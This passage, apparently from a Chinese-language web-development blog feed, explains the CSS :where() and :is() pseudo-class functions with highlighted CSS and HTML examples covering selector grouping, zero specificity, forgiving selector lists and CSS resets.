class="nc">image-container</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background-image</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="s2">&#34;img_nature.jpg&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">background-size</span><span class="p">:</span> <span class="kc">cover</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">position</span><span class="p">:</span> <span class="kc">relative</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">300</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">text</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background-color</span><span class="p">:</span> <span class="kc">white</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">black</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span> <span class="mi">10</span><span class="kt">vw</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">font-weight</span><span class="p">:</span> <span class="kc">bold</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">margin</span><span class="p">:</span> <span class="mi">0</span> <span class="kc">auto</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">padding</span><span class="p">:</span> <span class="mi">10</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">50</span><span class="kt">%</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">text-align</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">position</span><span class="p">:</span> <span class="kc">absolute</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">top</span><span class="p">:</span> <span class="mi">50</span><span class="kt">%</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">left</span><span class="p">:</span> <span class="mi">50</span><span class="kt">%</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">transform</span><span class="p">:</span> <span class="nb">translate</span><span class="p">(</span><span class="mi">-50</span><span class="kt">%</span><span class="p">,</span> <span class="mi">-50</span><span class="kt">%</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">mix-blend-mode</span><span class="p">:</span> <span class="kc">screen</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52775591167_7564c70d63_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <hr> <p>以上分享，希望對您有幫助！</p> <hr>https://blog.wayne-project.com/2023-02-13/css-where-function/Mon, 13 Feb 2023 00:00:00 +0000https://blog.wayne-project.com/2023-02-13/css-where-function/<img src="https://live.staticflickr.com/65535/52685546952_5615aa17bf_o.jpg" alt="Featured image of post 學習 CSS 中的 :where() 與 :is() 函式" /><style> .article-content p code { background-color: #f5f5f5; color: #ff3860; } .focus { background: #f1e2e2; color: #d62c2c; padding: 0 5px; } .text-center { text-align: center !important; } </style> <p><a class="link" href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/:where" target="_blank" rel="noopener" >參考網站</a><br> <a class="link" href="https://dev.to/mustapha/where-is-css-20nk" target="_blank" rel="noopener" >參考網站</a></p> <p><code>:where()</code> 函式接受一個選擇器列表作為參數，允許你編寫更少的代碼並同時設置它們的樣式。本篇文章我們來討論 <code>:where()</code> 的偽類函式，並示範如何在生產環境中使用它。我們將回顧與 <code>:where()</code> 函式相關的疊加、優先級和安全性；另外我們還研究一些特定的範例，並討論它與 <code>:is()</code> 函式的差別！</p> <hr> <h2 id="where"><code>:where()</code>？</h2> <p>根據<a class="link" href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/:where" target="_blank" rel="noopener" >MDN</a>，<code>:where()</code> 是一個CSS 偽類函數選擇器，它接受一個選擇器列表作為參數，並將給定的樣式應用於該列表中的任何元素，因此 <code>:where()</code> 對於縮短一個較長的選擇器列表非常有用。</p> <p>在 CSS 中，當多個元素同時應用相同的樣式規則時，我們通常會編寫一長串以逗號分隔的選擇器。</p> <p>下面是一個例子，我們將相同的樣式應用到 <strong>header</strong>、<strong>main</strong> 元素和 <strong>footer</strong> 元素中的所有 <strong>a</strong> 標籤：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">header</span> <span class="nt">a</span><span class="p">:</span><span class="nd">hover</span><span class="o">,</span> </span></span><span class="line"><span class="cl"><span class="nt">main</span> <span class="nt">a</span><span class="p">:</span><span class="nd">hover</span><span class="o">,</span> </span></span><span class="line"><span class="cl"><span class="nt">footer</span> <span class="nt">a</span><span class="p">:</span><span class="nd">hover</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">green</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">text-decoration</span><span class="p">:</span> <span class="kc">underline</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>在上面的代碼片段中，我們只選擇了三個元素，但是如果有大量的元素和選擇器，代碼將開始看起來不整潔，並且可能變得難以閱讀和理解。這就是 <code>:where()</code> 偽類函數發揮作用的地方。</p> <p>下面是上面的例子使用 <code>:where()</code> 函數的樣子：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">:</span><span class="nd">where</span><span class="o">(</span><span class="nt">header</span><span class="o">,</span> <span class="nt">main</span><span class="o">,</span> <span class="nt">footer</span><span class="o">)</span> <span class="nt">a</span><span class="p">:</span><span class="nd">hover</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">red</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">text-decoration</span><span class="p">:</span> <span class="kc">underline</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>當瀏覽器到達該代碼片段時，該代碼指示瀏覽器查找 <strong>header</strong>、<strong>main</strong> 和 <strong>footer</strong> 選擇器，並定位這些選擇器中的所有 a 標籤。</p> <p>當用戶將鼠標懸停在任何這些 <strong>a</strong> 標籤上時，瀏覽器應該應用指定的樣式，在本例中為文字顏色紅色與下劃線。這個偽類函數使我們能夠以更短、更容易理解的方式編寫一個很長的選擇器列表。</p> <hr> <h2 id="組合分割與疊加-where-函數">組合、分割與疊加 <code>:where()</code> 函數</h2> <p>使用 <code>:where()</code> 函數，我們可以以多種方式和組合對元素進行分組。</p> <p>我們可以將 <code>:where()</code> 函數放在選擇器的開頭、中間或結尾。</p> <p>下面是一個有多個選擇器和樣式的例子：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* first list */</span> </span></span><span class="line"><span class="cl"><span class="nt">header</span> <span class="nt">a</span><span class="p">:</span><span class="nd">hover</span><span class="o">,</span> </span></span><span class="line"><span class="cl"><span class="nt">main</span> <span class="nt">a</span><span class="p">:</span><span class="nd">hover</span><span class="o">,</span> </span></span><span class="line"><span class="cl"><span class="nt">footer</span> <span class="nt">a</span><span class="p">:</span><span class="nd">hover</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">green</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">text-decoration</span><span class="p">:</span> <span class="kc">underline</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c">/* second list */</span> </span></span><span class="line"><span class="cl"><span class="nt">article</span> <span class="nt">header</span> <span class="o">&gt;</span> <span class="nt">p</span><span class="o">,</span> </span></span><span class="line"><span class="cl"><span class="nt">article</span> <span class="nt">footer</span> <span class="o">&gt;</span> <span class="nt">p</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">gray</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c">/* third list */</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">dark-theme</span> <span class="nt">button</span><span class="o">,</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">dark-theme</span> <span class="nt">a</span><span class="o">,</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">dim-theme</span> <span class="nt">button</span><span class="o">,</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">dim-theme</span> <span class="nt">a</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">purple</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>下面是相同的代碼，用 <code>:where()</code> 函數重寫：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* first list */</span> </span></span><span class="line"><span class="cl"><span class="p">:</span><span class="nd">where</span><span class="o">(</span><span class="nt">header</span><span class="o">,</span> <span class="nt">main</span><span class="o">,</span> <span class="nt">footer</span><span class="o">)</span> <span class="nt">a</span><span class="p">:</span><span class="nd">hover</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">red</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">text-decoration</span><span class="p">:</span> <span class="kc">underline</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c">/* second list */</span> </span></span><span class="line"><span class="cl"><span class="nt">article</span> <span class="p">:</span><span class="nd">where</span><span class="o">(</span><span class="nt">header</span><span class="o">,</span> <span class="nt">footer</span><span class="o">)</span> <span class="o">&gt;</span> <span class="nt">p</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">gray</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c">/* third list */</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">dark-theme</span> <span class="p">:</span><span class="nd">where</span><span class="o">(</span><span class="nt">button</span><span class="o">,</span> <span class="nt">a</span><span class="o">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">purple</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">dim-theme</span> <span class="p">:</span><span class="nd">where</span><span class="o">(</span><span class="nt">button</span><span class="o">,</span> <span class="nt">a</span><span class="o">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">purple</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>在第一個列表中，我們指定「紅色」和「下劃線」樣式應應用於懸停時的 <strong>header</strong> 元素、<strong>main</strong> 元素和 <strong>footer</strong> 元素。在第二個列表中，我們指定 <strong>article</strong>元素、<strong>header</strong>元素 和 <strong>footer</strong> 元素應該使用灰色樣式。</p> <p>為了更清晰，我們將第三個列表分為兩個 <code>:where()</code> 函數。在這個列表中，我們指定 <strong>.dark-theme</strong>、<strong>.dim-theme</strong> 裡的 <strong>button</strong> 和 <strong>a</strong> 元素的樣式應該是紫色。</p> <p>現在，我們將進一步減少第三個列表函數，將它們變成一個 <code>:where()</code> 函數：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* 堆疊 */</span> </span></span><span class="line"><span class="cl"><span class="p">:</span><span class="nd">where</span><span class="o">(</span><span class="p">.</span><span class="nc">dark-theme</span><span class="o">,</span> <span class="p">.</span><span class="nc">dim-theme</span><span class="o">)</span> <span class="p">:</span><span class="nd">where</span><span class="o">(</span><span class="nt">button</span><span class="o">,</span> <span class="nt">a</span><span class="o">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">purple</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>這種減少複雜選擇器列表的方式稱為疊加。</p> <hr> <h2 id="where-選擇器的優先級"><code>:where()</code> 選擇器的優先級</h2> <p><code>:where()</code> 函數選擇器的優先級總是零。</p> <p>因此，以該函數為目標的任何元素也會自動獲得 0 的優先級。這使我們能夠輕鬆地取消任何元素的樣式。</p> <p>下面是一個 HTML 有序列表的例子：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">h2</span><span class="p">&gt;</span>First list no class<span class="p">&lt;/</span><span class="nt">h2</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">ol</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>List Item 1<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>List Item 2<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">ol</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">h2</span><span class="p">&gt;</span>Second list with class<span class="p">&lt;/</span><span class="nt">h2</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">ol</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;second-list&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>List Item 1<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>List Item 2<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">ol</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">h2</span><span class="p">&gt;</span>Third list with class<span class="p">&lt;/</span><span class="nt">h2</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">ol</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;third-list&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>List Item 1<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>List Item 2<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">ol</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p>在上面的代碼片段中，有三個有序列表，每個列表中有兩個項。第二個和第三個列表有一個給定的類，而第一個列表沒有。</p> <p>沒有任何樣式，我們可以看到每個列表是按數字順序排列的：</p> <p><img src="https://live.staticflickr.com/65535/52686059791_c20452ee31_o.jpg" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <p>現在讓我們添加一些樣式：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">:</span><span class="nd">where</span><span class="o">(</span><span class="nt">ol</span><span class="o">[</span><span class="nt">class</span><span class="o">])</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">list-style-type</span><span class="p">:</span> <span class="kc">none</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>在上面的代碼片段中，我們使用 <code>:where()</code> 偽類函數來選擇應用了類的所有 <strong>ol</strong> 標籤。</p> <p>下面，我們看到第二個和第三個列表，它們都有一個類，被 <code>:where()</code> 函數作為目標，並刪除了它們的 <strong>list-style-type</strong>：</p> <p><img src="https://live.staticflickr.com/65535/52685546972_34be7975b7_o.jpg" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <p>現在，讓我們添加一些額外的樣式：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">:</span><span class="nd">where</span><span class="o">(</span><span class="nt">ol</span><span class="o">[</span><span class="nt">class</span><span class="o">])</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">list-style-type</span><span class="p">:</span> <span class="kc">none</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">second-list</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">list-style-type</span><span class="p">:</span> <span class="kc">disc</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>只針對使用類名的第二個列表，我們可以看到它現在顯示為項目符號，而第三個列表仍然沒有列表樣式類型：</p> <p><img src="https://live.staticflickr.com/65535/52686486100_59b573bfa2_o.jpg" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <p>你可能會想，&ldquo;這不應該是這樣嗎，因為新的樣式寫在 <code>:where()</code> 函數樣式下面？&ldquo;不，它不是，我們一會兒就會看到。</p> <p>讓我們看看當我們把剛剛添加的代碼移到代碼塊的頂部，並把 <code>:where()</code> 函數部分移到底部時，會發生什麼：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">second-list</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">list-style-type</span><span class="p">:</span> <span class="kc">disc</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">:</span><span class="nd">where</span><span class="o">(</span><span class="nt">ol</span><span class="o">[</span><span class="nt">class</span><span class="o">])</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">list-style-type</span><span class="p">:</span> <span class="kc">none</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>注意樣式仍然沒有改變：</p> <p><img src="https://live.staticflickr.com/65535/52686486110_3a95de0793_o.jpg" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <blockquote> <p>記住：<code>:where()</code> 函數的優先級為零。</p></blockquote> <hr> <h2 id="where-選擇器的安全性"><code>:where()</code> 選擇器的安全性</h2> <p>對於選擇器列表，如果瀏覽器不能識別列表中的一個選擇器，則整個選擇器列表將被視為無效，並且它們的樣式將不會被應用。然而對於 <code>:where()</code> 偽類函數就不是這樣了。</p> <p>如果 <code>:where()</code> 函數中的元素是無效選擇器的目標，則該元素將不會獲得任何樣式。其餘的元素仍然會被設置樣式。<code>:where()</code> 函數將跳過無效的選擇器到下一個（有效）選擇器。</p> <p>這就是為什麼 <code>:where()</code> 被稱為安全的選擇器。</p> <p>在下面的例子中，<code>:unsupported</code> 對於許多瀏覽器來說是無效的選擇器。下面的代碼將被正確解析，並且仍然會匹配 <code>:valid</code> 選擇器，即使在不支持 <code>:unsupported</code> 選擇器的瀏覽器中，如下所示：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">:</span><span class="nd">where</span><span class="o">(</span><span class="p">:</span><span class="nd">valid</span><span class="o">,</span> <span class="p">:</span><span class="nd">unsupported</span><span class="o">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c">/* ... */</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>而在不支持 <code>:unsupported</code> 選擇器的瀏覽器中，以下代碼將被忽略，即使它們支持 <code>:valid</code> 選擇器：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">:</span><span class="nd">valid</span><span class="o">,</span> <span class="p">:</span><span class="nd">unsupported</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c">/* ... */</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><hr> <h2 id="where-函數的特殊用例"><code>:where()</code> 函數的特殊用例</h2> <p>在一些特殊的用例中，<code>:where()</code> 函數可能是一個有用的工具，但也有一些情況下應該避免使用它。</p> <p>使用 <code>:where()</code> 偽類函數時出現的幾乎所有問題都歸結為優先級。</p> <p>因為 <code>:where()</code> 的優先級為<code>零</code>，我們需要非常小心地選擇何時何地使用這個函數。</p> <p>首先，讓我們看看幾個用例，在這些用例中 <code>:where()</code> 可能特別有用。</p> <h3 id="改進-css-重置">改進 CSS 重置</h3> <ul> <li>CSS 重置是指在任何其他樣式之前加載一組樣式規則，以清除瀏覽器的內置樣式。</li> <li>CSS 重置通常放置在 CSS 樣式表的頂部或開始，所以它們首先加載。</li> <li>開發人員通常使用它們來刪除瀏覽器最初給幾個元素的默認樣式，然後才開始實際設計他們的元素和網站。</li> <li>CSS 重置還可以幫助消除不同瀏覽器之間的不一致。</li> <li>CSS 重置是臨時的樣式，稍後會在樣式化過程中更改。</li> </ul> <p>然而，根據 CSS 重置中使用的元素或元素組的選擇器的簡單性或複雜性，稍後在代碼中可能很難覆蓋初始樣式。</p> <p>例如，假設我們將網站上的所有的 <strong>a</strong> 標籤設置為<strong>綠色</strong>。</p> <p>然後我們稍後決定將所有 <strong>header</strong> 裡的 <strong>a</strong> 標籤的樣式設置為<strong>灰色</strong>。</p> <p>由於在 CSS 重置中選擇的複雜性，新的（灰色）樣式不會被應用。</p> <p>重置中的選擇器比後面代碼中僅針對 <strong>header</strong> 裡的 <strong>a</strong> 標籤使用的選擇器具有更高階的優先級，因此沒有應用灰色樣式。</p> <p>現在，如果我們將 <code>:where()</code> 偽類函數添加到 CSS 重置中，這將自動為重置中的所有元素賦予零的優先級。</p> <p>這使得我們以後更容易更改樣式，而不必擔心優先級衝突。</p> <h3 id="刪除樣式">刪除樣式</h3> <p>如果想要刪除或取消樣式或降低一個或一組元素的優先級，則 <code>:where()</code> 函數非常有用。</p> <h3 id="保持樣式">保持樣式</h3> <p>如果要確保一個元素或元素集的樣式或優先級在未來的任何時候都不會改變，那麼不要使用 <code>:where()</code> 偽類。</p> <hr> <h2 id="is"><code>:is()</code>？</h2> <p><code>:is()</code> 函數的運行方式幾乎與 <code>:where()</code> 函數相同。</p> <p>你可以用它來簡化複雜的選擇器，也可以把它放在選擇器的開頭、中間或結尾，就像 <code>:where()</code> 函數一樣。</p> <p>它也是安全的，就像 <code>:where()</code> 函數一樣。因此，當其中一個選擇器無效時，瀏覽器將忽略該選擇器，但有效選擇器的樣式將添加到所選元素中。</p> <hr> <h2 id="where-和-is-函數的區別"><code>:where()</code> 和 <code>:is()</code> 函數的區別？</h2> <p>這兩個函數的區別在於 <code>:where()</code> 函數的優先級總是<code>零</code>，則 <code>:is()</code> 函數的優先級取決於其<code>最特定參數的優先級</code>。</p> <p>例如，讓我們看看 <strong>header</strong> 元素中的段落文本：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">header</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;</span>This is a paragraph text.<span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">header</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p>然後，讓我們嘗試使用四種不同的選擇器來改變文本顏色：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 